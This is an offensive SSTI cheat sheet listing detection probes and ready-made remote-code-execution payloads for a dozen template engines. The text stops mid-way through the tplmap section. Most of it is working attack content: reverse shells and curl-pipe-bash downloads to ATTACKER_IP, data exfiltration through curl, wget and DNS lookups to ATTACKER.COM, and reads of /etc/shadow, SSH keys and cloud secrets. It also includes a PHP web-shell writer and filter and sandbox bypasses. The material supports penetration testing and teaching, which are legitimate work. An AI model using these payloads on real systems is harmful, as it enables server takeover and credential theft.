A complete operational reference for Server-Side Template Injection (SSTI) covering detection, engine fingerprinting, RCE payloads for Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, and more. Covers blind SSTI, filter bypass, sandbox escape, OOB exfiltration, automation with tplmap, and remediation. Mapped to MITRE ATT&CK T1190 / T1059.
1. Core Concepts & Injection Types
SSTI TAXONOMY:
SERVER-SIDE TEMPLATE INJECTION
├── IN-BAND (output returned in response)
│ ├── Reflected — injected expression evaluated, result shown in page
│ └── Error-based — template engine error leaks internal info
│
├── BLIND (no expression output in response)
│ ├── Time-based — sleep/delay functions to confirm execution
│ └── Out-of-Band (OOB) — exfiltrate via DNS/HTTP callback
│
└── STORED (second-order)
└── Payload stored in DB/file → rendered later by template engine
Key Terms:
- Template Engine — server-side component that renders a template string by evaluating embedded expressions. Jinja2, Twig, Freemarker, Velocity, ERB, Smarty, Mako, etc.
- Template Expression — syntax used to embed code inside a template: {{ }}, <% %>, ${ }, #{ } — varies by engine.
- Context / Sandbox — environment in which template expressions run. Some engines sandbox execution; the attack goal is escaping it.
- MRO — Method Resolution Order in Python. Traversing __mro__ exposes all parent classes available to a Python object, used to reach dangerous classes in Jinja2.
- Subclasses — __subclasses__() in Python returns all classes that inherit from a given class. Used to locate subprocess, os, sys etc. inside Jinja2 sandbox.
- RCE — Remote Code Execution — the end goal: executing OS commands via the template engine's expression evaluator.
- SSTI vs XSS — XSS executes client-side in the browser. SSTI executes server-side in the backend process — leads to RCE, file read, SSRF, credential theft.
Why It Happens: The application builds a template string by concatenating user input, then passes it to the template engine for rendering:
# Python / Flask — VULNERABLE:
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
return render_template_string(f"Hello {name}!") # user input IN the template string
# SAFE:
@app.route('/hello')
def hello():
name = request.args.get('name')
return render_template_string("Hello {{ name }}!", name=name) # user input as DATA
// PHP / Twig — VULNERABLE:
echo $twig->render("Hello " . $_GET['name'] . "!", []);
// SAFE:
echo $twig->render("Hello {{ name }}!", ['name' => $_GET['name']]);
SSTI vs Client-Side Template Injection (CSTI):
- SSTI: expression evaluated on the server → RCE possible.
- CSTI (AngularJS, Vue): expression evaluated in the browser → DOM XSS only.
- Test: if {{7*7}} → 49 appears in the HTML source (not rendered by browser JS) → SSTI.
2. Detection & Fingerprinting
2.1 Common Injection Points
→ URL parameters: GET /page?name=<PAYLOAD>
→ POST body fields: username, message, subject, template, content, bio
→ HTTP headers: User-Agent, Referer, X-Forwarded-For, Cookie values
→ Path segments: /report/<PAYLOAD>/export
→ File name fields: upload filename rendered in a confirmation page
→ Email fields: "From" name rendered in a welcome email
→ Search boxes: search term reflected in a "You searched for: X" message
→ Profile/bio fields: displayed in a profile page rendered server-side
→ Support ticket subjects: rendered in email notifications
→ Error pages: custom error templates that include user input
→ API responses: JSON fields rendered into HTML by a template
2.2 Polyglot Detection Probe
Send a single payload that triggers different behaviors across engines:
${{<%[%'"}}%\.
# If the server returns an error, reveals the template engine name in the message.
# If it returns the string untouched → no SSTI.
# If it partially renders → narrow down the engine.
2.3 Math Expression Probes — Confirm Execution
The fastest confirmation: inject a math expression and check if the result is evaluated:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks)
${7*7} → 49 (Freemarker, Groovy, Thymeleaf)
#{7*7} → 49 (Ruby ERB / Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS)
*{7*7} → 49 (Thymeleaf)
{{= 7*7}} → 49 (some engines)
{7*7} → 49 (Smarty some versions)
# Test via curl (URL-encode the payload):
curl -s "https://target.com/hello?name={{7*7}}"
curl -s "https://target.com/hello?name=%7B%7B7*7%7D%7D"
# Look for "49" in the response — confirms SSTI and evaluation
2.4 Error-Based Fingerprinting
Send a deliberately broken expression and read the error:
# Broken template expression:
curl -s "https://target.com/hello?name={{' }}"
# Error messages reveal engine:
# "jinja2.exceptions.TemplateSyntaxError" → Jinja2
# "Twig_Error_Syntax" → Twig
# "freemarker.core.ParseException" → Freemarker
# "org.apache.velocity.exception" → Velocity
# "com.mitchellbosecke.pebble" → Pebble
# "SmartyCompilerException" → Smarty
# "ActionView::Template::Error" → Ruby ERB
# "Thymeleaf.TemplateProcessingException" → Thymeleaf
3. Engine Identification Decision Tree
Use math expressions that produce different results across engines to fingerprint:
Inject: {{7*7}}
│
├── Returns 49?
│ ├── Inject: {{7*'7'}}
│ │ ├── Returns 49 → JINJA2 (Python)
│ │ └── Returns 7777777 → TWIG (PHP)
│ └── Inject: {{7*7}} returns nothing / escaped
│ └── Try: ${7*7}
│
├── ${7*7} returns 49?
│ ├── Java-based engine
│ ├── Inject: ${"freemarker.version"?eval}
│ │ ├── Returns version string → FREEMARKER
│ │ └── Error → Try Velocity / Pebble / Groovy
│ └── Try: #set($x=7*7)$x
│ └── Returns 49 → VELOCITY
│
├── <%= 7*7 %> returns 49?
│ └── ERB (Ruby) or EJS (Node.js)
│ └── Inject: <%= `id` %>
│ ├── Returns uid string → ERB (Ruby)
│ └── Error → EJS
│
├── *{7*7} returns 49?
│ └── THYMELEAF (Java/Spring)
│
├── {7*7} returns 49?
│ └── SMARTY (PHP)
│
└── Nothing evaluates → may be Mustache/Handlebars
└── Inject: {{#with "s" as |string|}}...{{/with}}
└── No error → HANDLEBARS
Quick Engine Reference:
| Engine | Language | Expression Syntax | Typical Framework |
|---|---|---|---|
| Jinja2 | Python | {{ }} {% %} {# #} |
Flask, Django (indirect) |
| Twig | PHP | {{ }} {% %} {# #} |
Symfony, Laravel (optional) |
| Freemarker | Java | ${ } <#if> <#list> |
Spring MVC, Struts |
| Velocity | Java | $var #set #foreach |
Legacy Java apps, CMS |
| Pebble | Java | {{ }} {% %} |
Spring Boot |
| Smarty | PHP | {$var} {if} {foreach} |
Older PHP CMS (WordPress) |
| Mako | Python | ${ } <% %> <% %> |
Pyramid, standalone |
| Handlebars | Node.js | {{ }} {{{ }}} |
Express.js |
| ERB | Ruby | <%= %> <% %> |
Rails, Sinatra |
| Thymeleaf | Java | ${ } *{ } th:* |
Spring Boot |
| Nunjucks | Node.js | {{ }} {% %} |
Express.js |
4. Jinja2 (Python)
Syntax: {{ expression }} | {% statement %} | {# comment #}
4.1 Confirm & Basic Info
{{7*7}} # → 49 (confirm evaluation)
{{7*'7'}} # → 49 (Jinja2 vs Twig differentiator)
{{config}} # → dumps Flask app config (may contain SECRET_KEY, DB creds)
{{config.items()}} # → all config key-value pairs
{{request}} # → Flask request object info
{{request.environ}} # → WSGI environ — leaks server details
{{self}} # → template self object
4.2 Reading Files (Without RCE)
# Read /etc/passwd via open():
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Find index of <class '_io.TextIOWrapper'> or <class 'file'> in the list
# Quick file read via lipsum global:
{{ lipsum.__globals__['os'].popen('cat /etc/passwd').read() }}
# Via cycler object (available in Jinja2 globals):
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
# Via joiner:
{{ joiner.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
# Via namespace:
{{ namespace.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
4.3 RCE — MRO-Based Subclass Traversal
# Step 1: Get all subclasses of 'object':
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Step 2: Find the index of a useful class
# Look for: subprocess.Popen, os._wrap_close, warnings.catch_warnings
# The index varies by Python version and installed packages
# Step 3: Execute command (example with subprocess.Popen at index N):
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate()[0].strip() }}
# Automated index finder — run this as payload, find the index yourself:
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Then search the output for 'Popen' or 'os' to get the index
4.4 RCE — Cleaner Payloads (globals shortcuts)
# Via lipsum global (most reliable across Flask apps):
{{ lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ lipsum.__globals__['os'].popen('cat /etc/passwd').read() }}
{{ lipsum.__globals__['os'].popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1').read() }}
# Via cycler (available by default in Jinja2):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
# Via joiner:
{{ joiner.__init__.__globals__.os.popen('id').read() }}
# Via namespace (Jinja2 2.10+):
{{ namespace.__init__.__globals__.os.popen('id').read() }}
# Via request (Flask-specific):
{{ request.__class__.__mro__[1].__subclasses__() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
4.5 RCE — builtins Import Path
# Access __builtins__ directly:
{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('id') }}
# Via config object (Flask):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}
# Shorter via get_flashed_messages:
{{ get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
{{ get_flashed_messages.__globals__['current_app'].config }}
4.6 Reverse Shell via Jinja2
# bash reverse shell:
{{ lipsum.__globals__['os'].popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') }}
# Via subprocess module:
{{ ''.__class__.__mro__[1].__subclasses__()[POPEN_IDX](['/bin/bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'],stdout=-1).communicate() }}
# mkfifo netcat:
{{ lipsum.__globals__['os'].popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f') }}
# curl download and exec:
{{ lipsum.__globals__['os'].popen('curl http://ATTACKER_IP/shell.sh|bash') }}
4.7 Jinja2 — Useful Recon
# Dump all globals available to the template:
{{ self.__dict__ }}
{{ self._TemplateReference__context.keys() }}
# Get secret key (Flask):
{{ config['SECRET_KEY'] }}
{{ config.SECRET_KEY }}
# Get database URI:
{{ config['SQLALCHEMY_DATABASE_URI'] }}
# Read environment variables:
{{ lipsum.__globals__['os'].environ }}
{{ lipsum.__globals__['os'].environ.get('SECRET_KEY') }}
{{ lipsum.__globals__['os'].environ.get('DATABASE_URL') }}
{{ lipsum.__globals__['os'].environ.get('AWS_SECRET_ACCESS_KEY') }}
# List current directory:
{{ lipsum.__globals__['os'].popen('ls -la').read() }}
# Read app source:
{{ lipsum.__globals__['os'].popen('cat app.py').read() }}
5. Twig (PHP)
Syntax: {{ expression }} | {% statement %} | {# comment #}
5.1 Confirm & Differentiate
{{7*7}} → 49
{{7*'7'}} → 7777777 ← Twig specific (Jinja2 gives 49)
{{_self}} → leaks Twig environment object
{{_self.env}} → Twig environment info
5.2 RCE — Twig < 1.19 (filter method)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
# Reverse shell:
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")}}
5.3 RCE — Twig >= 1.19 via filter Chain
# map filter with arrow functions (Twig 2.x+):
{{["id"]|map("system")|join}}
{{["id"]|map("passthru")|join}}
{{["id"]|map("shell_exec")|join}}
# filter filter:
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
# reduce:
{{["id"]|reduce("system")}}
# Reverse shell:
{{["bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]|map("system")|join}}
{{["bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"]|map("passthru")|join}}
5.4 RCE — Twig via PHP Native Functions
# sort filter accepts a callable:
{{['id']|sort('system')}}
{{['id']|sort('passthru')}}
{{['id']|sort('shell_exec')}}
# Via attr filter (Twig 1.x):
{{app.request.server.get('HTTP_HOST')}}
# File read:
{{'/etc/passwd'|file_excerpt(1,30)}} # if file_excerpt extension loaded
{{"php://filter/convert.base64-encode/resource=/etc/passwd"|file_get_contents}} # rarely works
5.5 Twig — Recon
# Dump all variables in scope:
{{dump()}}
{{dump(_context)}}
# App object (Symfony):
{{app.user}}
{{app.request}}
{{app.session}}
{{app.environment}}
{{app.debug}}
# Get environment:
{{_self.env.getGlobals()}}
{{_self.env.getExtensions()}}
6. Freemarker (Java)
Syntax: ${ expression } | <#if> | <#list> | <#assign>
6.1 Confirm Execution
${7*7} → 49
${"freemarker.version"?eval} → version string (e.g. 2.3.31)
${.now} → current datetime
${.version} → Freemarker version
${.data_model} → dumps available data model
6.2 RCE — freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cat /etc/passwd") }
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") }
# Shorter (same class):
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
6.3 RCE — ObjectConstructor
<#assign obj="freemarker.template.utility.ObjectConstructor"?new()>
<#assign exec=obj("java.lang.ProcessBuilder",["id"])>
${exec.start().text}
# Or one-liner with Runtime:
${"freemarker.template.utility.Execute"?new()("id")}
6.4 RCE — JythonRuntime (if Jython is available)
<#assign jy="freemarker.template.utility.JythonRuntime"?new()>
<#call jy.exec("import os; os.system('id')")>
6.5 File Read
<#assign file = "java.io.FileReader"?new("/etc/passwd")>
<#assign content = "">
<#list 0..10000 as i>
<#assign char = file.read()>
<#if char == -1><#break></#if>
<#assign content = content + char?string>
</#list>
${content}
6.6 Freemarker — Recon
# Available variables in scope:
${.data_model?keys?join(", ")}
# Java system properties:
${.data_model["systemProperties"]["java.class.path"]}
# Environment variables:
<#assign env = "java.lang.System"?new()>
${env.getenv("PATH")}
${env.getenv("HOME")}
7. Velocity (Java)
Syntax: $variable | #set($x = val) | #foreach | #if
7.1 Confirm Execution
#set($x = 7*7)${x} → 49
${7*7} → 49 (depending on config)
$class → may dump available class info
7.2 RCE — Runtime.exec()
#set($rt = $class.forName("java.lang.Runtime"))
#set($method = $rt.getMethod("exec", $class.forName("java.lang.String")))
#set($exec = $method.invoke($rt.getMethod("getRuntime").invoke(null), "id"))
#set($stream = $exec.getInputStream())
#set($inputStream = $class.forName("java.io.InputStreamReader").getDeclaredConstructors()[0])
$inputStream.setAccessible(true)
#set($reader = $inputStream.newInstance($stream))
#set($buf = $class.forName("java.io.BufferedReader").getDeclaredConstructors()[0])
$buf.setAccessible(true)
#set($bufferedReader = $buf.newInstance($reader))
$bufferedReader.readLine()
7.3 RCE — Shorter Velocity Payload
## Using ProcessBuilder (cleaner):
#set($pb = $class.forName("java.lang.ProcessBuilder"))
#set($constructor = $pb.getDeclaredConstructors()[0])
$constructor.setAccessible(true)
#set($cmd = ["bash", "-c", "id"])
#set($p = $constructor.newInstance([$cmd]))
#set($is = $p.start().getInputStream())
#set($reader = $class.forName("java.io.InputStreamReader").getDeclaredConstructors()[0])
$reader.setAccessible(true)
#set($isr = $reader.newInstance($is))
#set($br = $class.forName("java.io.BufferedReader").getDeclaredConstructors()[0])
$br.setAccessible(true)
#set($bufferedReader = $br.newInstance($isr))
$bufferedReader.readLine()
7.4 Velocity — Using $class.inspect
## Dump all accessible classes:
#foreach($i in $class.forName("java.lang.Runtime").getMethods())
$i.getName()
#end
## Get system properties:
$class.forName("java.lang.System").getProperty("java.class.path")
$class.forName("java.lang.System").getenv("HOME")
$class.forName("java.lang.System").getenv("SECRET_KEY")
8. Pebble (Java)
Syntax: {{ expression }} | {% statement %} (similar to Jinja2/Twig)
8.1 Confirm Execution
{{ 7*7 }} → 49
{{ 'pebble'.toUpperCase() }} → PEBBLE
{{ now }} → current datetime
8.2 RCE — Pebble < 3.1.6 (CVE-2022-37767)
# Via Java class access through type coercion:
{% set os = "freemarker.template.utility.Execute" %} <!-- won't work alone -->
# Correct Pebble RCE via getClass():
{{ "" . class . forName ("java.lang.Runtime") . getMethod ("exec","".class) . invoke ("" . class . forName ("java.lang.Runtime") . getMethod ("getRuntime") . invoke (null) , "id" ) }}
# Cleaner — use Pebble's Java interop:
{% set cmd = 'id' %}
{% set runtime = 'java.lang.Runtime'.forName('java.lang.Runtime') %}
{% set exec = runtime.getRuntime().exec(cmd) %}
{% set stdout = exec.getInputStream() %}
8.3 RCE — Pebble via getRaw / Class Access
# Accessing Java reflection via Pebble's variable access:
{{ "".class.forName("java.lang.Runtime").getMethod("exec",["id".class]).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id") }}
# Using ProcessBuilder:
{{ "".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance([["bash","-c","id"]]).start() }}
9. Smarty (PHP)
Syntax: {$var} | {if} | {foreach} | {function}
9.1 Confirm Execution
{$smarty.version} → Smarty version string
{7*7} → 49 (Smarty 3.x)
{'id'|shell_exec} → command output (if exec functions not disabled)
{math equation="7*7"} → 49
9.2 RCE — Smarty {php} Tag (Smarty 3, disabled in Smarty 4)
{php}system('id');{/php}
{php}system('cat /etc/passwd');{/php}
{php}passthru('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');{/php}
9.3 RCE — Smarty {literal} / filter Bypass
# Via eval:
{$var|@eval}
# Inject $var = "system('id')"
# Directly if PHP functions accessible:
{'system'|call_user_func:'id'}
{'passthru'|call_user_func:'cat /etc/passwd'}
# Smarty3 static call:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
9.4 Smarty — Recon
{$smarty.server.HTTP_HOST}
{$smarty.server.DOCUMENT_ROOT}
{$smarty.server.SERVER_SOFTWARE}
{$smarty.env.PATH}
{$smarty.const.PHP_OS}
{$smarty.const.PHP_VERSION}
10. Mako (Python)
Syntax: ${ expr } | <% code %> | <%! module-level code %>
10.1 Confirm Execution
${7*7} → 49
${self.__class__} → Mako template class info
${self.module} → template module
10.2 RCE — Mako Direct Python Code Execution
# <% %> blocks execute arbitrary Python:
<%
import os
x = os.popen('id').read()
%>
${x}
# Inline one-liner:
${__import__('os').popen('id').read()}
# File read:
${open('/etc/passwd').read()}
# Reverse shell:
<%
import os
os.popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
%>
# Module-level import:
<%!
import os
%>
${os.popen('id').read()}
10.3 Mako — via self.module
${self.module.__builtins__['__import__']('os').popen('id').read()}
${self._module.__dict__['__builtins__']['__import__']('os').system('id')}
11. Handlebars / Mustache (Node.js)
Syntax: {{ variable }} | {{{ raw }}} | {{#helper}}
11.1 Key Distinction
Mustache: Logic-less — no code execution by design. Limited attack surface.
Handlebars: Adds helpers, partials, block expressions — larger attack surface.
11.2 Confirm (Handlebars)
{{7*7}} → 7*7 (NOT evaluated — Handlebars doesn't evaluate math)
{{this}} → dumps current context object
{{#with "s" as |string|}}{{string}}{{/with}} → s (confirms Handlebars)
11.3 RCE — Handlebars < 4.7.7 (CVE-2019-19919 / Prototype Pollution to RCE)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
11.4 RCE — Handlebars via lookup and constructor
{{lookup (lookup this "constructor") "name"}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
11.5 Mustache — Limited Attacks
# Mustache is logic-less — no code execution via template syntax.
# Attack surface is limited to:
# 1. XSS via triple-stache {{{var}}} — raw HTML injection
# 2. Server-side prototype pollution (separate attack)
{{{<script>alert(1)</script>}}} # raw output → XSS if unsanitized
12. ERB (Ruby)
Syntax: <%= expression %> | <% code %> | <%- -%>
12.1 Confirm Execution
<%= 7*7 %> → 49
<%= RUBY_VERSION %> → Ruby version string
<%= File.read('/etc/passwd') %> → file content
12.2 RCE — ERB Direct Code Execution
# System command (output shown):
<%= `id` %>
<%= `cat /etc/passwd` %>
<%= `whoami` %>
# system() — doesn't return output directly:
<% system("id") %>
# IO.popen (captures stdout):
<%= IO.popen('id').read %>
<%= IO.popen('cat /etc/passwd').read %>
<%= IO.popen('cat /etc/shadow').read %>
# require 'open3':
<% require 'open3'; stdout,_,_ = Open3.capture3('id') %><%= stdout %>
# Reverse shell:
<%= `bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1` %>
<% IO.popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1') %>
12.3 File Read Without RCE
<%= File.read('/etc/passwd') %>
<%= File.read('/etc/shadow') %>
<%= File.read('/home/ruby/.ssh/id_rsa') %>
<%= File.read('config/database.yml') %>
<%= File.read('config/secrets.yml') %>
<%= File.read('.env') %>
<%= Dir.entries('/var/www/app') %>
12.4 ERB — Recon
<%= ENV.inspect %> # all environment variables
<%= ENV['SECRET_KEY_BASE'] %> # Rails secret
<%= ENV['DATABASE_URL'] %> # DB connection string
<%= ENV['AWS_SECRET_ACCESS_KEY'] %> # AWS credentials
<%= Rails.application.secrets.inspect %> if Rails loaded
<%= Gem.paths.home %> # gem path
13. Thymeleaf (Java/Spring)
Syntax: ${ } (variable) | *{ } (selection) | @{ } (links) | th:* (attributes)
13.1 Confirm Execution
[[${7*7}]] → 49
[(${7*7})] → 49 (unescaped)
*{7*7} → 49
${#strings.toString(7*7)} → 49
13.2 Thymeleaf Expression Context — What's Accessible
${#request} → HttpServletRequest object
${#response} → HttpServletResponse object
${#session} → HttpSession object
${#servletContext} → ServletContext object
${#ctx} → Thymeleaf context
13.3 RCE — Thymeleaf via Spring Expression Language (SpEL)
# Thymeleaf + Spring → SpEL expressions are processed:
${T(java.lang.Runtime).getRuntime().exec('id')}
${T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','id'})}
${T(java.lang.Runtime).getRuntime().exec('bash -c {id,}')}
# Read command output:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
# Full payload for output capture:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}
# 105,100 = 'i','d' as char array
# Reverse shell:
${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'})}
13.4 RCE — Thymeleaf Unescaped Expression Injection
# If user input lands in th:text without escaping:
<p th:text="${userInput}">
# Or in inline expression context:
[(${userInput})] # unescaped → [[ ]] vs [( )]
# Inject SpEL payload as userInput:
__${T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")}__::.x
# Thymeleaf expression preprocessing (double underscore):
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
13.5 Thymeleaf — Spring Boot Common Sinks
URL template parameters that go directly into view name:
GET /path/{viewName} → @GetMapping("/path/{viewName}")
→ return viewName; ← if viewName is Thymeleaf-rendered, SSTI possible
Test:
GET /path/__${7*7}__::x
GET /path/a__${T(java.lang.Runtime).getRuntime().exec("id")}__::x
14. Blind SSTI & OOB Exfiltration
14.1 Time-Based Blind Confirmation
# Jinja2 — sleep via subprocess:
{{ lipsum.__globals__['os'].popen('sleep 5') }}
# Via time module:
{{ lipsum.__globals__['__builtins__']['__import__']('time').sleep(5) }}
# ERB — sleep:
<% sleep(5) %>
// Freemarker:
${"freemarker.template.utility.Execute"?new()("sleep 5")}
// Velocity:
#set($rt = $class.forName("java.lang.Runtime"))
#set($exec = $rt.getMethod("exec","".class).invoke($rt.getMethod("getRuntime").invoke(null),"sleep 5"))
# Twig:
{{['sleep 5']|map('system')|join}}
14.2 OOB via DNS/HTTP — Jinja2
# curl/wget DNS callback (confirms blind RCE):
{{ lipsum.__globals__['os'].popen('curl http://ATTACKER.COM/$(id|base64 -w0)') }}
{{ lipsum.__globals__['os'].popen('wget -q http://ATTACKER.COM/?x=$(whoami)') }}
# Bash /dev/tcp (no curl/wget needed):
{{ lipsum.__globals__['os'].popen('bash -c "exec 3<>/dev/tcp/ATTACKER_IP/80; echo -e \"GET /?d=$(id|base64 -w0) HTTP/1.0\\r\\n\\r\\n\" >&3"') }}
# nslookup DNS:
{{ lipsum.__globals__['os'].popen('nslookup $(whoami).ATTACKER.COM') }}
{{ lipsum.__globals__['os'].popen('nslookup $(cat /etc/passwd|head -1|base64 -w0).ATTACKER.COM') }}
14.3 OOB via DNS/HTTP — ERB (Ruby)
<%= `curl http://ATTACKER.COM/$(id|base64)` %>
<%= `nslookup $(whoami).ATTACKER.COM` %>
14.4 OOB via DNS/HTTP — Freemarker (Java)
${"freemarker.template.utility.Execute"?new()("curl http://ATTACKER.COM/$(id|base64)")}
${"freemarker.template.utility.Execute"?new()("nslookup $(id).ATTACKER.COM")}
14.5 OOB via DNS/HTTP — Twig
{{['curl http://ATTACKER.COM/?x=$(id|base64 -w0)']|map('system')|join}}
{{['nslookup $(whoami).ATTACKER.COM']|map('system')|join}}
14.6 OOB Listener Setup
# interactsh (free, open source):
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# → Get unique domain: xxxx.oast.fun → use in payloads
# Burp Collaborator (Pro):
# Payload Manager → Generate Collaborator payload
# Use: XXXX.oastify.com → check Collaborator for callbacks
# Simple HTTP server:
python3 -m http.server 80
nc -lvnp 80
# DNS with tcpdump:
tcpdump -i eth0 port 53 -n
15. Filter & Sandbox Bypass Techniques
15.1 Jinja2 — Dot Notation Bypass (Square Bracket Access)
# If "." is filtered:
{{''['__class__']}}
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
{{config['SECRET_KEY']}}
{{lipsum['__globals__']['os']['popen']('id')['read']()}}
# Combine both:
{{ (lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("id")|attr("read")() }}
15.2 Jinja2 — Bypass Underscore Filters
# If "__" is filtered:
# Use request object (Flask):
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
# Hex encoding underscores (\x5f = _):
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']() }}
# Unicode alternatives:
{{ ''['\u005f\u005fclass\u005f\u005f'] }}
# Using |attr filter (avoids dot):
{{ ''|attr('__class__')|attr('__mro__')|list }}
15.3 Jinja2 — Bypass Quote Filters
# If single quotes are filtered, use double quotes:
{{ "".__class__ }}
{{ ""["__class__"] }}
# If both quotes filtered, use request args:
# URL: ?name={{request.args.x1}}&x1=__class__
{{ (request|attr("args"))|attr("get")("x1") }}
# Build string from chars:
{{ dict(__class__=x)|list|first }}
15.4 Jinja2 — Bypass Keyword Filters (config, os, etc.)
# If "os" is filtered — access via alternate globals:
{{ lipsum.__globals__.get("os") }}
{{ (lipsum.__globals__|list)[index_of_os_key] }}
# If "popen" is filtered — use system or other:
{{ lipsum.__globals__['os'].__dict__['sys'+'tem']('id') }}
{{ lipsum.__globals__['os'].__dict__['pop'+'en']('id').read() }}
# String concatenation to avoid keyword detection:
{{ lipsum.__globals__['o'+'s']['p'+'open']('id').read() }}
15.5 Jinja2 — Using |format and Jinja Globals
# Using format filter to build strings:
{{ "%s"|format("__class__") }} # builds string → access via request.args
# Globals access via dict:
{% set ns = namespace(d = {}) %}
{% set _ = ns.d.update({"os": lipsum.__globals__.os}) %}
{{ ns.d.os.popen('id').read() }}
15.6 Twig — Bypass
# If {{}} is filtered — try alternate delimiters or context:
# Twig doesn't have alternate delimiters — try smuggling via raw block:
{% raw %}{{payload}}{% endraw %} # escaped, but good for testing
# Filter bypass via PHP functions:
{{['id']|reduce('system')}} # if map is blocked
{{['id']|column('system')}}
15.7 Freemarker — Bypass
# If Execute class is blocked:
${"freemarker.template.utility.Execute"?new()("id")}
# Try ObjectConstructor:
<#assign c = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign obj = c("java.lang.ProcessBuilder", ["id"])>
# String obfuscation:
${"freemarker.template.utility."+"Execute"?new()("id")}
15.8 ERB — Bypass
# If backticks are filtered:
<%= IO.popen('id').read %>
<%= system('id') %>
<%= %x{id} %> # alternate backtick syntax
<%= Kernel.system('id') %>
<%= Open3.capture2('id')[0] %>
# If 'system' keyword is filtered:
<%= __send__(:` , 'id') %> # backtick via __send__
16. Automation — tplmap & Other Tools
16.1 tplmap — Automated SSTI Detection & Exploitation
# Install:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# Basic GET scan:
python3 tplmap.py -u "https://target.com/hello?name=*"
# POST scan:
python3 tplmap.py -u "https://target.com/hello" \
--data "name=*"
# Specific parameter:
python3 tplmap.py -u "https://target.com/hello?name=test&lang=*" \
-p lang
# With authentication:
python3 tplmap.py -u "https://target.com/hello?name=*" \
--header "Authorization: Bearer TOKEN"
python3 tplmap.py -u "https://target.com/hello?name=*" \
--cookie "session=abc123"
# Force specific engine (skip detection):
